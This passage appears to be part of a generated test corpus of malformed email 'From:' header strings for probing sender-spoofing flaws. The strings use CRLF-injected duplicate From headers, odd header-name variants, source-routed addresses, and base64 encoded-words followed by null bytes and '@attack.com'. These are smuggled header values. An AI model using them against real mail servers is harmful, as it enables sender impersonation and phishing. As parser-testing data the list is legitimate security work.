"From: \r\nFrom:hr@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8YXR0YWNrZXJAdG9wLmNvbT4sQWxpY2VAeW1haWwuY29tLHdlYm1hc3RlckBsaXZlLmNvbSxhZG1pbkBpY2xvdWQuY29tLHNlY3VyaXR5QHNvaHUuY29tDQo==?=>", - "From:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - "From:word(comm\r\nent)\r\n", - " FrOM: \r\nFrom:admin@sina.com,(comment),\r\n", - " Fromÿ: \r\nFrom:word.(\r\n),hr@ymail.com\r\n", - "From: \r\nFrom:,hr@126.com,(hi)\r\n", - "From :,Bob@ymail.com\r\n", - " From: \r\nFrom:Bob@msn.com,Mike@126.com,word(comment),word<@qq.com:@163.com:Alice@outlook.com>(comm\r\nent)\r\n", - " FrOM: \r\nFrom:(comm\r\nent),Bob@china.com,Bob@qq.com,,,(comment)\r\n", - " From:Bob@qq.com,wordwordwordword(hi)\r\n", - " From:,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - "From :,(comment)<@gmail.com:@b.com:security@outlook.com>\r\n", - "From: ,,(comment),webmaster@sina.cn,(hi)\r\n", - " From:<@a.com:@b.com:security@qq.com>\r\n", - " FrOM: \r\nFrom:hr@gmail.com\r\n", - " Fromÿ: \r\nFrom:,Mike@icloud.com\r\n", - " From:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8a2V5QHNpbmEuY24+LHNlY3VyaXR5QHNpbmEuY24sKGNvbW1lbnQpPGF0dGFja2VyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAMTYzLmNvbQ0K=?=>", - "From:()(comment)\r\n", - "From: hr@foxmail.com,,\r\n", - " FrOM: \r\nFrom:key@msn.com\r\n", - "From: <=?utf-8?RnJvbTooaGkpLChjb21tDQplbnQpLHdvcmQoKS4oDQopPGF0dGFja2VyQHNpbmEuY24+DQo==?=>", - " From:(hi),,(hi),(hi)\r\n", - " FrOM: \r\nFrom:<@qq.com:@163.com:Alice@sohu.com>\r\n", - " From: \r\nFrom:key@foxmail.com,(\r\n)\r\n", - " From: \r\nFrom:(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKGNvbW0NCmVudCk8a2V5QHNpbmEuY24+LHNlY3VyaXR5QHNpbmEuY24sKGNvbW1lbnQpPGF0dGFja2VyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAMTYzLmNvbQ0K=?=>\u0000@attack.com", - " From:webmaster@sina.com,Mike@ymail.com.cn\r\n", - "From:wordwordwordwordword<@gmail.com:@b.com:Alice@126.com>(hi)\r\n", - "From: \r\nFrom:(comment),wordword\r\n", - " Fromÿ: \r\nFrom:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - " From:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTpockBmb3htYWlsLmNvbQ0K=?=>\u0000@attack.com", - " From:Alice@live.com\r\n", - " FrOM: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - " Fromÿ: \r\nFrom:(hi)\r\n", - "From: <=?utf-8?RnJvbTosKGhpKTxzZWN1cml0eUBpY2xvdWQuY29tPiwoDQopDQo==?=>\u0000@attack.com", - "From:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - "From: word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - " From:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20NCg===?=>\u0000@attack.com", - " From:,Alice@china.com\r\n", - "From: \r\nFrom:,,(comment),webmaster@sina.cn,(hi)\r\n", - " From:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - " From: \r\nFrom:Alice@aliyun.com\r\n", - " FrOM: \r\nFrom:webmaster@gmail.com,key@126.com\r\n", - "From: \r\nFrom:security@sina.com\r\n", - "From :()\r\n", - " From: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From: \r\nFrom:wordword<@a.com:@b.com:Mike@icloud.com>(),word(comment),security@msn.com,word\r\n", - " Fromÿ: \r\nFrom:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkLigNCik8QWxpY2VAbXNuLmNvbT4saHJAeW1haWwuY29tDQo==?=>\u0000@attack.com", - "From: \r\nFrom:word(comment)(comment)\r\n", - "From: Mike@msn.com\r\n", - "From :<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - " From: \r\nFrom:,attacker@hotmail.com\r\n", - " Fromÿ: \r\nFrom:key@live.com\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTphdHRhY2tlckBsaXZlLmNvbT4oY29tbWVudCkNCg===?=>\u0000@attack.com", - "From:,Bob@ymail.com\r\n", - "From: word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From :(),key@icloud.com,,,\r\n", - "From: admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - " FrOM: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", - "From: \r\nFrom:Alice@aliyun.com\r\n", - " From: \r\nFrom:attacker@sohu.com\r\n", - "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTphdHRhY2tlckAxMzkuY29tPg0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZChoaSk8QGdtYWlsLmNvbTpAYi5jb206YWRtaW5AaG90bWFpbC5jb20+LA0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:admin@sohu.com\r\n", - "From: <=?utf-8?RnJvbTooY29tbQ0KZW50KSxhdHRhY2tlckAxNjMuY29tDQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:(comment),word(comm\r\nent),(),(\r\n)\r\n", - "From: admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - " From: \r\nFrom:(),webmaster@sina.cn,\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQGdtYWlsLmNvbSxhZG1pbkBnbWFpbC5jb20sa2V5QHFxLmNvbSxockBxcS5jb20saHJAbXNuLmNvbSxrZXlAZm94bWFpbC5jb20sYWRtaW5AcXEuY29tLHdlYm1hc3RlckB0b3AuY29tLHdvcmQ8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQHNvaHUuY29tPix3b3JkPEBhLmNvbTpAYi5jb206a2V5QGljbG91ZC5jb20+KGNvbW0NCmVudCkNCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosKGNvbW1lbnQpLCgpLHdvcmQuLihoaSk8d2VibWFzdGVyQHRvcC5jb20+DQo==?=>", - "From: <=?utf-8?RnJvbTpCb2JAMTM5LmNvbQ0K=?=>", - " From:(comment),word<@qq.com:@163.com:security@msn.com>(comm\r\nent),hr@139.com\r\n", - "From: \r\nFrom:wordwordword(comment)\r\n", - " Fromÿ: \r\nFrom:word(comment),<@qq.com:@163.com:Bob@ymail.com.cn>\r\n", - " From:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - "From: \r\nFrom:Bob@china.com,<@qq.com:@163.com:Bob@qq.com>\r\n", - "From: wordword\r\n", - "From: <=?utf-8?RnJvbTo8YXR0YWNrZXJAaWNsb3VkLmNvbT4sYXR0YWNrZXJAc2luYS5jb20sKGhpKQ0K=?=>", - "From: ,()(comment),(\r\n)\r\n", - "From:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPiw8QGEuY29tOkBiLmNvbTprZXlAZm94bWFpbC5jb20+LA0K=?=>", - "From: \r\nFrom:<@qq.com:@163.com:Mike@163.com>\r\n", - " From:word(comment)(comment)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAY2hpbmEuY29tLDxAcXEuY29tOkAxNjMuY29tOkJvYkBxcS5jb20+DQo==?=>", - "From:word.(\r\n),hr@ymail.com\r\n", - "From :,,Alice@msn.com,,()\r\n", - " FrOM: \r\nFrom:,hr@aliyun.com\r\n", - "From: ,webmaster@ymail.com\r\n", - "From: (comm\r\nent),key@sohu.com\r\n", - "From: <=?utf-8?RnJvbTooKTxAcXEuY29tOkAxNjMuY29tOk1pa2VAb3V0bG9vay5jb20+KA0KKQ0K=?=>", - " Fromÿ: \r\nFrom:(comm\r\nent)(hi),key@msn.com\r\n", - "From: \r\nFrom:word,<@a.com:@b.com:security@sohu.com>\r\n", - " From: \r\nFrom:word(comm\r\nent)\r\n", - " FrOM: \r\nFrom:,Alice@top.com\r\n", - "From :(comment)<@a.com:@b.com:Bob@139.com>\r\n", - " FrOM: \r\nFrom:,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - " From:(comment),(hi),attacker@outlook.com,(),key@163.com\r\n", - "From:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From :admin@live.com,(\r\n)\r\n", - " FrOM: \r\nFrom:key@foxmail.com,(\r\n)\r\n", - "From: ,(comm\r\nent),security@foxmail.com,,hr@sina.cn,(comm\r\nent)\r\n", - "From: \r\nFrom:(),Mike@139.com,\r\n", - "From: wordword(\r\n)\r\n", - " FrOM: \r\nFrom:security@163.com\r\n", - " FrOM: \r\nFrom:admin@icloud.com\r\n", - "From: \r\nFrom:,webmaster@ymail.com\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZC53b3JkLigpd29yZC48QGEuY29tOkBiLmNvbTphZG1pbkBpY2xvdWQuY29tPg0K=?=>", - " Fromÿ: \r\nFrom:security@sina.com\r\n", - "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpzZWN1cml0eUBxcS5jb20+DQo==?=>\u0000@attack.com", - "From :Alice@gmail.com,hr@icloud.com\r\n", - " FrOM: \r\nFrom:wordword().(hi)\r\n", - "From: ()\r\n", - " From: \r\nFrom:admin@qq.com\r\n", - " FrOM: \r\nFrom:,Bob@ymail.com\r\n", - "From: admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - "From :hr@163.com\r\n", - "From: <=?utf-8?RnJvbTooaGkpLCwsKGhpKTxAYS5jb206QGIuY29tOndlYm1hc3RlckBtc24uY29tPigNCiksDQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:,word(\r\n),,(),key@ymail.com.cn,()\r\n", - "From :hr@ymail.com.cn\r\n", - "From: <=?utf-8?RnJvbTprZXlAc29odS5jb20NCg===?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:(\r\n),(hi),(),(comm\r\nent),\r\n", - "From: \r\nFrom:,attacker@sina.com,(hi)\r\n", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAc2luYS5jbixBbGljZUAxMzkuY29tLEJvYkBsaXZlLmNvbQ0K=?=>\u0000@attack.com", - "From:(),key@icloud.com,,,\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBvdXRsb29rLmNvbSx3b3JkPGF0dGFja2VyQDE2My5jb20+DQo==?=>\u0000@attack.com", - " From: \r\nFrom:Mike@msn.com\r\n", - "From: <=?utf-8?RnJvbTpNaWtlQHRvcC5jb20sa2V5QG91dGxvb2suY29tDQo==?=>", - "From :(hi),admin@msn.com\r\n", - " From: \r\nFrom:,,key@foxmail.com\r\n", - " Fromÿ: \r\nFrom:admin@ymail.com,<@gmail.com:@b.com:webmaster@msn.com>(comment)\r\n", - " From:<@gmail.com:@b.com:Alice@sina.com>,(hi)(hi)\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxAYS5jb206QGIuY29tOk1pa2VAaWNsb3VkLmNvbT4oKSx3b3JkKGNvbW1lbnQpPGhyQHltYWlsLmNvbS5jbj4sc2VjdXJpdHlAbXNuLmNvbSx3b3JkPHNlY3VyaXR5QGdtYWlsLmNvbT4NCg===?=>", - " From: \r\nFrom:(\r\n),key@qq.com,\r\n", - " FrOM: \r\nFrom:Alice@outlook.com,word\r\n", - "From :(comm\r\nent)<@gmail.com:@b.com:Mike@163.com>(hi)\r\n", - "From: \r\nFrom:hr@foxmail.com,,\r\n", - " From: \r\nFrom:key@msn.com,attacker@163.com,word.()(comm\r\nent)()<@qq.com:@163.com:Mike@sina.cn>(comm\r\nent),wordword(comment)<@qq.com:@163.com:security@sohu.com>(\r\n),word(comm\r\nent),word\r\n", - "From: <=?utf-8?RnJvbTp3b3JkPEBnbWFpbC5jb206QGIuY29tOnNlY3VyaXR5QHNpbmEuY24+LHdlYm1hc3RlckBmb3htYWlsLmNvbSxzZWN1cml0eUBzaW5hLmNvbSx3b3JkPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAb3V0bG9vay5jb20+LDxAcXEuY29tOkAxNjMuY29tOnNlY3VyaXR5QHltYWlsLmNvbS5jbj4NCg===?=>", - "From: <=?utf-8?RnJvbTosYXR0YWNrZXJAaG90bWFpbC5jb20NCg===?=>\u0000@attack.com", - " From: \r\nFrom:wordword.word.()word.<@a.com:@b.com:admin@icloud.com>\r\n", - " Fromÿ: \r\nFrom:(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - "From: <@qq.com:@163.com:attacker@live.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQDE2My5jb20+DQo==?=>", - "From: word<@gmail.com:@b.com:webmaster@msn.com>,<@a.com:@b.com:key@foxmail.com>,\r\n", - "From :(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTphdHRhY2tlckBsaXZlLmNvbT4oY29tbWVudCkNCg===?=>", - "From: <=?utf-8?RnJvbTosaHJAMTI2LmNvbSwoaGkpDQo==?=>", - " FrOM: \r\nFrom:word(comment)<@a.com:@b.com:key@ymail.com>(\r\n)\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKA0KKTxAYS5jb206QGIuY29tOmFkbWluQDEzOS5jb20+LDxCb2JAc2luYS5jb20+LDxAYS5jb206QGIuY29tOmtleUBhbGl5dW4uY29tPg0K=?=>", - "From: <=?utf-8?RnJvbTosTWlrZUBpY2xvdWQuY29tDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTphdHRhY2tlckBzb2h1LmNvbSx3ZWJtYXN0ZXJAZm94bWFpbC5jb20NCg===?=>", - " From:(),(hi)<@a.com:@b.com:Alice@live.com>(hi),\r\n", - " FrOM: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBxcS5jb20sd29yZC48a2V5QGNoaW5hLmNvbT4sc2VjdXJpdHlAc2luYS5jbixzZWN1cml0eUAxMjYuY29tLHdvcmQoY29tbWVudCk8YWRtaW5AY2hpbmEuY29tPg0K=?=>", - "From :,,key@foxmail.com\r\n", - "From: \r\nFrom:,<@gmail.com:@b.com:admin@china.com>,(hi)<@gmail.com:@b.com:attacker@msn.com>,(hi),,(),\r\n", - "From: <=?utf-8?RnJvbTo8QGdtYWlsLmNvbTpAYi5jb206QWxpY2VAc2luYS5jb20+LChoaSk8YXR0YWNrZXJAbXNuLmNvbT4oaGkpDQo==?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooKSxrZXlAaWNsb3VkLmNvbSwsPEFsaWNlQG91dGxvb2suY29tPiwNCg===?=>", - "From: \r\nFrom:admin@ymail.com,word(hi)(),<@qq.com:@163.com:security@hotmail.com>,Alice@foxmail.com,<@a.com:@b.com:attacker@hotmail.com>(\r\n)\r\n", - " Fromÿ: \r\nFrom:word(hi)<@gmail.com:@b.com:Bob@163.com>(hi)\r\n", - " Fromÿ: \r\nFrom:hr@gmail.com\r\n", - " From: \r\nFrom:(\r\n),wordword(\r\n)(\r\n),\r\n", - " From:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - "From:word,<@a.com:@b.com:security@sohu.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZCgNCik8QWxpY2VAdG9wLmNvbT4oY29tbWVudCkNCg===?=>", - "From: <=?utf-8?RnJvbTp3ZWJtYXN0ZXJAMTM5LmNvbQ0K=?=>", - "From: ,Mike@ymail.com\r\n", - " From: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", - " From:Bob@139.com,hr@china.com\r\n", - " FrOM: \r\nFrom:word(\r\n)<@a.com:@b.com:admin@139.com>,,<@a.com:@b.com:key@aliyun.com>\r\n", - " Fromÿ: \r\nFrom:hr@163.com\r\n", - " FrOM: \r\nFrom:Bob@qq.com,wordwordwordword(hi)\r\n", - "From: \r\nFrom:<@qq.com:@163.com:attacker@live.com>(comment)\r\n", - "From :security@163.com\r\n", - "From:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - "From: \r\nFrom:(comm\r\nent),wordwordword(comm\r\nent)(\r\n),admin@foxmail.com,webmaster@139.com,security@gmail.com\r\n", - " From:word(hi),word<@a.com:@b.com:Mike@icloud.com>\r\n", - " Fromÿ: \r\nFrom:Bob@139.com,hr@china.com\r\n", - "From: <=?utf-8?RnJvbTosLCx3b3JkPHdlYm1hc3RlckBjaGluYS5jb20+KA0KKQ0K=?=>\u0000@attack.com", - " From:(),Bob@qq.com\r\n", - " Fromÿ: \r\nFrom:<@qq.com:@163.com:Alice@gmail.com>(hi),word<@gmail.com:@b.com:key@ymail.com.cn>(comm\r\nent),Alice@ymail.com.cn,wordword<@gmail.com:@b.com:Alice@aliyun.com>(hi),(\r\n)<@qq.com:@163.com:webmaster@139.com>\r\n", - "From: \r\nFrom:word(comment)<@a.com:@b.com:key@126.com>,word.(\r\n),word()(comment),,(comment)\r\n", - "From: Bob@139.com\r\n", - " Fromÿ: \r\nFrom:<@a.com:@b.com:Bob@163.com>(hi)\r\n", - " From:security@163.com\r\n", - " From:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - " From: \r\nFrom:wordwordwordword(comment)<@a.com:@b.com:Bob@hotmail.com>(\r\n)\r\n", - "From :(hi),,(hi),(hi)\r\n", - "From:Alice@msn.com,\r\n", - " From: \r\nFrom:(),(comm\r\nent),(comm\r\nent),(comment)\r\n", - "From :wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From :(comm\r\nent),key@sohu.com\r\n", - "From :webmaster@sina.cn,Mike@163.com\r\n", - "From: <=?utf-8?RnJvbTpzZWN1cml0eUAxNjMuY29tDQo==?=>\u0000@attack.com", - " FrOM: \r\nFrom:word<@a.com:@b.com:admin@aliyun.com>(),admin@top.com,\r\n", - " FrOM: \r\nFrom:(hi)\r\n", - "From: word,<@a.com:@b.com:security@sohu.com>\r\n", - "From:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From:admin@sina.com,(comment),\r\n", - " Fromÿ: \r\nFrom:,(comment),(),word..(hi)\r\n", - "From: <=?utf-8?RnJvbTo8YXR0YWNrZXJAaWNsb3VkLmNvbT4sYXR0YWNrZXJAc2luYS5jb20sKGhpKQ0K=?=>\u0000@attack.com", - " From:attacker@sohu.com,webmaster@foxmail.com\r\n", - "From :word(\r\n)(\r\n),Mike@qq.com,Alice@163.com,(comm\r\nent)(),key@icloud.com\r\n", - "From: <=?utf-8?RnJvbTprZXlAc2luYS5jbiwNCg===?=>", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZC53b3JkLigpd29yZC48QGEuY29tOkBiLmNvbTphZG1pbkBpY2xvdWQuY29tPg0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTooDQopLChoaSksKCksKGNvbW0NCmVudCksPGFkbWluQGFsaXl1bi5jb20+DQo==?=>\u0000@attack.com", - "From: Bob@126.com\r\n", - " From: \r\nFrom:wordword(hi)<@gmail.com:@b.com:admin@hotmail.com>,\r\n", - "From: \r\nFrom:,webmaster@foxmail.com\r\n", - "From: \r\nFrom:,key@139.com,,(hi),,(),\r\n", - "From: (),(comm\r\nent),(comm\r\nent),(comment)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAMTI2LmNvbQ0K=?=>\u0000@attack.com", - " From: \r\nFrom:()<@qq.com:@163.com:Mike@outlook.com>(\r\n)\r\n", - " FrOM: \r\nFrom:()<@a.com:@b.com:security@ymail.com>(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTprZXlAaWNsb3VkLmNvbQ0K=?=>", - " From: \r\nFrom:Mike@msn.com,hr@top.com,webmaster@hotmail.com\r\n", - "From: Mike@foxmail.com\r\n", - "From: \r\nFrom:word(),wordword(hi)\r\n", - " Fromÿ: \r\nFrom:(hi)(hi),<@qq.com:@163.com:Alice@gmail.com>()\r\n", - "From: <=?utf-8?RnJvbTpBbGljZUBsaXZlLmNvbQ0K=?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTosd2VibWFzdGVyQHltYWlsLmNvbQ0K=?=>", - "From:(comm\r\nent),wordword(hi),word(hi),wordwordword()<@qq.com:@163.com:security@aliyun.com>(comm\r\nent)\r\n", - " FrOM: \r\nFrom:Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - "From: word<@qq.com:@163.com:admin@gmail.com>(\r\n)\r\n", - "From :(comm\r\nent)<@qq.com:@163.com:Alice@foxmail.com>,word,word(comment)(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAdG9wLmNvbSx3b3JkPEBnbWFpbC5jb206QGIuY29tOkJvYkBvdXRsb29rLmNvbT4oKQ0K=?=>\u0000@attack.com", - " FrOM: \r\nFrom:word(comm\r\nent)\r\n", - "From: <=?utf-8?RnJvbTphZG1pbkB5bWFpbC5jb20sd29yZChoaSk8Qm9iQGdtYWlsLmNvbT4oKSw8QHFxLmNvbTpAMTYzLmNvbTpzZWN1cml0eUBob3RtYWlsLmNvbT4sQWxpY2VAZm94bWFpbC5jb20sPEBhLmNvbTpAYi5jb206YXR0YWNrZXJAaG90bWFpbC5jb20+KA0KKQ0K=?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:admin@china.com,(comment)<@a.com:@b.com:attacker@china.com>(comment)\r\n", - "From:word<@qq.com:@163.com:webmaster@ymail.com.cn>,Alice@gmail.com,word(comment)..word\r\n", - "From: (\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTo8c2VjdXJpdHlAZm94bWFpbC5jb20+KCkNCg===?=>", - " From:word(),wordword(hi)\r\n", - "From: <=?utf-8?RnJvbTooKTxAZ21haWwuY29tOkBiLmNvbTpNaWtlQGxpdmUuY29tPg0K=?=>", - " Fromÿ: \r\nFrom:key@126.com,word()<@gmail.com:@b.com:admin@sina.com>\r\n", - " Fromÿ: \r\nFrom:(comment),wordword\r\n", - "From :wordword().(hi)\r\n", - "From:(\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - " From:Mike@top.com,key@outlook.com\r\n", - "From: \r\nFrom:(comm\r\nent),Bob@qq.com,admin@top.com,\r\n", - "From:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - "From:webmaster@126.com\r\n", - " Fromÿ: \r\nFrom:webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - "From: <=?utf-8?RnJvbTpCb2JAc29odS5jb20NCg===?=>", - " Fromÿ: \r\nFrom:attacker@sina.com,word<@qq.com:@163.com:Alice@top.com>(hi)\r\n", - " Fromÿ: \r\nFrom:word.()(),<@gmail.com:@b.com:key@msn.com>(comm\r\nent),word(\r\n),\r\n", - "From: ,(\r\n),()<@a.com:@b.com:admin@qq.com>(),,(hi),(comm\r\nent)<@gmail.com:@b.com:webmaster@gmail.com>\r\n", - " FrOM: \r\nFrom:,,Alice@msn.com,,()\r\n", - " Fromÿ: \r\nFrom:Bob@sohu.com,security@sohu.com\r\n", - "From: \r\nFrom:(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - " FrOM: \r\nFrom:,,Alice@hotmail.com,webmaster@foxmail.com\r\n", - "From: Mike@icloud.com,admin@aliyun.com,hr@sina.com,Bob@163.com,wordwordwordword<@qq.com:@163.com:security@163.com>,word(comment)<@gmail.com:@b.com:security@139.com>\r\n", - " From:attacker@126.com\r\n", - "From: <=?utf-8?RnJvbTo8QHFxLmNvbTpAMTYzLmNvbTpNaWtlQDE2My5jb20+DQo==?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:word<@gmail.com:@b.com:security@sina.cn>,webmaster@foxmail.com,security@sina.com,word<@a.com:@b.com:attacker@outlook.com>,<@qq.com:@163.com:security@ymail.com.cn>\r\n", - " FrOM: \r\nFrom:word(comm\r\nent),,(\r\n)\r\n", - " FrOM: \r\nFrom:admin@live.com\r\n", - " FrOM: \r\nFrom:word(comment)(hi),Bob@ymail.com.cn,(comment)<@gmail.com:@b.com:security@foxmail.com>\r\n", - "From: Alice@gmail.com,hr@icloud.com\r\n", - " From:hr@sohu.com\r\n", - "From:word()<@qq.com:@163.com:Alice@sina.cn>(\r\n)\r\n", - "From: wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - "From: <=?utf-8?RnJvbTooKSxCb2JAcXEuY29tDQo==?=>\u0000@attack.com", - "From: admin@qq.com\r\n", - " Fromÿ: \r\nFrom:word(comm\r\nent),security@sina.cn,(comment),security@163.com\r\n", - " FrOM: \r\nFrom:wordword(\r\n),Alice@ymail.com,webmaster@live.com,admin@icloud.com,security@sohu.com\r\n", - "From: <=?utf-8?RnJvbTp3b3JkKCk8aHJAbGl2ZS5jb20+LHdvcmR3b3JkKGhpKTxCb2JAMTM5LmNvbT4NCg===?=>\u0000@attack.com", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZDxNaWtlQHltYWlsLmNvbS5jbj4NCg===?=>", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmQ8QGdtYWlsLmNvbTpAYi5jb206YXR0YWNrZXJAZm94bWFpbC5jb20+LGF0dGFja2VyQGhvdG1haWwuY29tLHdvcmR3b3JkPEBnbWFpbC5jb206QGIuY29tOndlYm1hc3RlckBhbGl5dW4uY29tPixhdHRhY2tlckAxNjMuY29tDQo==?=>", - "From: key@sina.cn,\r\n", - "From: \r\nFrom:(comm\r\nent),,key@aliyun.com,,\r\n", - "From :webmaster@sina.cn,Alice@139.com,Bob@live.com\r\n", - " Fromÿ: \r\nFrom:attacker@ymail.com.cn\r\n", - " From: \r\nFrom:,,Alice@msn.com,,()\r\n", - "From :(\r\n)<@gmail.com:@b.com:webmaster@live.com>,word(comment)<@qq.com:@163.com:webmaster@126.com>,<@a.com:@b.com:Alice@139.com>(comment)\r\n", - "From: <=?utf-8?RnJvbTpCb2JAcXEuY29tLHdvcmR3b3Jkd29yZHdvcmQ8QWxpY2VAY2hpbmEuY29tPihoaSkNCg===?=>", - " From: \r\nFrom:Alice@outlook.com\r\n", - "From: <=?utf-8?RnJvbTo8QGEuY29tOkBiLmNvbTpzZWN1cml0eUBxcS5jb20+DQo==?=>", - "From: \r\nFrom:webmaster@sina.cn,Mike@163.com\r\n", - "From: wordword().(hi)\r\n", - "From: <=?utf-8?RnJvbTooKSx3ZWJtYXN0ZXJAc2luYS5jbiwNCg===?=>\u0000@attack.com", - " FrOM: \r\nFrom:Alice@msn.com,\r\n", - "From: <=?utf-8?RnJvbTooaGkpPEFsaWNlQG1zbi5jb20+KCksc2VjdXJpdHlAYWxpeXVuLmNvbSx3b3JkKGNvbW1lbnQpPEBhLmNvbTpAYi5jb206Qm9iQHltYWlsLmNvbT4oKSx3b3JkPEJvYkBvdXRsb29rLmNvbT4oDQopDQo==?=>\u0000@attack.com", - " Fromÿ: \r\nFrom:wordword(comment)<@qq.com:@163.com:webmaster@china.com>\r\n", - " Fromÿ: \r\nFrom:Mike@msn.com\r\n", - "From:wordword<@gmail.com:@b.com:hr@sohu.com>(comment)\r\n", - "From :admin@live.com\r\n", - "From :(hi),(hi),(\r\n),word(comment)(hi)<@qq.com:@163.com:attacker@sina.cn>\r\n", - "From: (\r\n)<@gmail.com:@b.com:webmaster@ymail.com>\r\n", - "From: <=?utf-8?RnJvbTp3b3Jkd29yZHdvcmR3b3Jkd29yZDxAZ21haWwuY29tOkBiLmNvbTpBbGljZUAxMjYuY29tPihoaSkNCg===?=>", - "From: ()<@gmail.com:@b.com:Mike@live.com>\r\n", - "From: (hi),(),,,word()(\r\n)()\r\n", - "From: \r\nFrom:(comm\r\nent)<@gmail.com:@b.com:security@163.com>\r\n", - "From: ,security@china.com\r\n", - " From: 